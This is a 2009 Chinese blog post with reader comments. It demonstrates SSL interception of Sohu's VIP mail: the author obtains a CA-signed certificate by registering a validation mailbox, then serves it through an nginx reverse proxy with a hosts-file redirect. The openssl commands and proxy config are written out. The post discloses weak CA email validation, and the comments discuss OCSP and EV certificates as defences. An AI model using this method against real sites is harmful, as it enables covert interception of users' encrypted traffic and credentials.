Info

响应我党号召,全面建设和谐博客,坚持和谐写博的路线不动摇

OK,我恶毒的心灵又开始蠢蠢欲动了。今天带给大家的是SSL窃听攻击从理论到实际操作的成功例子
SSL窃听最主要的是你要有一张合法的SSL证书,并且证书名称必须和被攻击的网站域名一致。目前各大CA都有很低廉价格的SSL证书申请,最低的价格只需要10美元不到,甚至还有一些域名注册商大批量采购这些证书,并且在你注册域名的时候免费送你一张。
对于低廉价格的域名SSL证书,CA签发的前提只有一个:只要你有申请的域名某几个特定的邮箱,并且在CA给这个邮箱发送一封确认邮件的时候approve就可以了。
所以,问题的关键是如何截获到这封确认邮件。但我相信某些机构是有办法能做到这一点的。
当然,还有更加简单的办法:国内不少软件在安装的时候,都会偷偷摸摸的把自己的root CA装到用户电脑里面去。Windows的安全机制让这个导入root CA的操作根本没有任何的确认信息和提示。甚至微软还提供了一个专用的小程序用于导入证书。只要你找到这些软件厂商,就可以任意生成证书,并且这些证书都是有效的,不会出现警告。

废话不多说了,开始干活。这里sohu的vip邮箱为例(他们能在整个使用过程中支持ssl),先生成一张vip.sohu.com的key和csr

Sam@Bra:~$ mkdir ssltest
Sam@Bra:~$ cd ssltest
Sam@Bra:~/ssltest$ openssl genrsa -out vip.sohu.com.key 1024
Generating RSA private key, 1024 bit long modulus
............++++++
.....................++++++
e is 65537 (0x10001)
Sam@Bra:~/ssltest$ openssl req -new -key vip.sohu.com.key -out vip.sohu.com.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:CN
State or Province Name (full name) [Some-State]:BeiJing
Locality Name (eg, city) []:BeiJing
Organization Name (eg, company) [Internet Widgits Pty Ltd]:fake sohu
Organizational Unit Name (eg, section) []:fake
Common Name (eg, YOUR name) []:vip.sohu.com
Email Address []:ssladmin@vip.sohu.com
 
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

well,这样我们就有了一个用于vip.sohu.com的申请了,接着我们去签发这个申请

sslhijack1

然后系统会给你一大堆管理员相关的邮箱等你去选
sslhijack2

选上一个后,ca就会给你所选的邮箱发送一封确认邮件,邮件中带有一个连接,打开连接后会让你确认,确认后。。。嘿嘿,证书就到手了
sslhijack3

sslhijack4sslhijack5sslhijack6

把申请下来的证书保存一下,然后修改下nginx的配置文件,把证书加上,并且设置一个反向代理到vip.sohu.com,大概的样子如下

    # HTTPS server
    #
    server {
        listen       443;
        server_name  vip.sohu.com;
 
        ssl                  on;
        ssl_certificate      sslkeys/vip.sohu.com.crt;
        ssl_certificate_key  sslkeys/vip.sohu.com.key;
 
        ssl_session_timeout  5m;
 
        ssl_protocols  SSLv2 SSLv3 TLSv1;
        ssl_ciphers  ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;
        ssl_prefer_server_ciphers   on;
 
        location / {
                proxy_pass      https://vip.sohu.com;
        }
    }

搞定,保存,重启nginx。修改本机的hosts文件,把vip.sohu.com这个域名指向nginx所在的服务器

127.0.0.1 vip.sohu.com

打开浏览器,输入https://vip.sohu.com,你会发现。。。。根本没任何报错或者警告信息!也就是说,ssl证书被成功替换,再就是说,你的所有传输都被劫持了。
经过测试,IE、firefox、safari等浏览器同仁纷纷表示对替换证书的行为毫不知情并对被替换后的证书予以大力支持,大肆宣扬被劫持的网站是高可信度的网站。

回头再简单阐述这个过程:用户访问一个网站,但中间已经被插了一层proxy。proxy使用了一个真实的并且高度可信的证书与用户交换数据。用户和proxy之间使用ssl加密通道交换数据。数据到了proxy后,会被解密并监听分析。之后proxy再模仿成一个client向网站的服务器发送数据,同样传输也是ssl加密的。网站的服务器对此毫不知情,只能获取到是proxy发出的请求,但其实proxy并不是最终用户,数据其实早已被监听并分析。

最后,还是应了那句话:不要迷恋ssl,ssl只是个传说

备注:
1.转载请注明出处:https://wuhongsheng.com/it/2009/09/ssl-hijack/
2.sohu的哥们不要来找我麻烦或者跨省追捕,选上你们是因为你们太安全了,支持ssl访问邮箱
3.有时间大家还是多点关注我的DNSPod,最近DNSPod正在招人,人不好找啊。。。请大家帮忙宣传下,介绍一些人才过来 https://www.dnspod.com/About/Jobs

前面一张图是sohu自己原始的证书,第二张开始就是被替换后的证书
sslhijack7

sslhijack8

sslhijack9

sslhijack10

Comments

18 Comments

Post a comment
  1. September 29, 2009

    >>国内不少软件在安装的时候,都会偷偷摸摸的把自己的root CA装到用户电脑里面去。
    这样只会影响到安装了那些软件的用户吧,其它人没影响吧?

    关键是你怎么弄到sohu 的管理员邮箱密码的?

  2. September 29, 2009

    我可没说我弄到sohu管理员邮箱的密码,我这是光明正大注册回来的。具体细节就不谈了

  3. September 29, 2009

    嗯,明白了,证书提供商没有对邮箱进行验证,看来这是一个漏洞。

  4. DF #
    September 29, 2009

    漂亮的劫持,但这里有三个问题:

    1. sohu让你注册了可用于验证的邮箱;这是sohu的严重漏洞。
    2. PositiveSSL给了你过多的email选择(还是Comodo,mozilla那次也是他们)
    3. 一旦被OCSP认定是非法证书,它立马就无效了。

    这些都不是SSL协议的错。

  5. September 29, 2009

    还好Gmail的证书是mail.google.com这个域名的,而Google并没有开放google.com域名上的邮箱注册。

  6. qyb #
    September 29, 2009

    用来验证身份的邮箱 ssladmin 已经被封掉了。下回再发现 sohu 邮箱的漏洞,拜托提前一天给我发个邮件.

  7. SSL #
    September 29, 2009

    就因为你这蠢蠢欲动带着点恶毒的心灵,所以国际CA都纷纷推出了EV SSL证书了,目的就是杜绝这种情况的,呵呵

    当然了,你这种也只能是对一些开放免费邮箱的服务商,如果是企业自己的域名,就无法去申请相应的域名了

  8. September 29, 2009

    墙完全可以这么做了,先劫持邮件,接着搞证书,再接着劫持网站解析。
    还好Firefox我选上OCSP
    以后都得看看指纹了。

  9. September 29, 2009

    忘记了,劫持国内的也不如现在的直接收回域名方便~
    预装root CA~

  10. September 29, 2009

    忘记说了,OCSP是选上的。本来firefox就是默认把这个选上的

  11. Leave #
    September 30, 2009

    这还不是中间人攻击吗? 也不是新问题啊

  12. September 30, 2009

    《SSL窃听攻击实操》里关键的地方是注册了一个hostmaster@vip.sohu.com 或ssladmin@vip.sohu.com 的邮箱,这样才能在另一个CA那里注册到另一个合法的SSL证书,然后利用反向代理来做中间人劫持SSL通信内容。

  13. October 1, 2009

    感觉主要是发证书的过程审查不够严格,应该有其他更可靠办法验证你是否持有那个域名吧

  14. October 3, 2009

    sohu被劫持了

  15. October 19, 2009

    如果能修改用户的host,就差不多是给用户安装了木马了,就能做更多的事情,就没必要劫持ssl了

  16. Anonymous #
    October 26, 2009

    我还以为是你能伪造一张假证书呢??

Leave a Reply

Basic HTML is allowed. Your email address will not be published.

Subscribe to this comment feed via RSS

Comments will be sent to the moderation queue.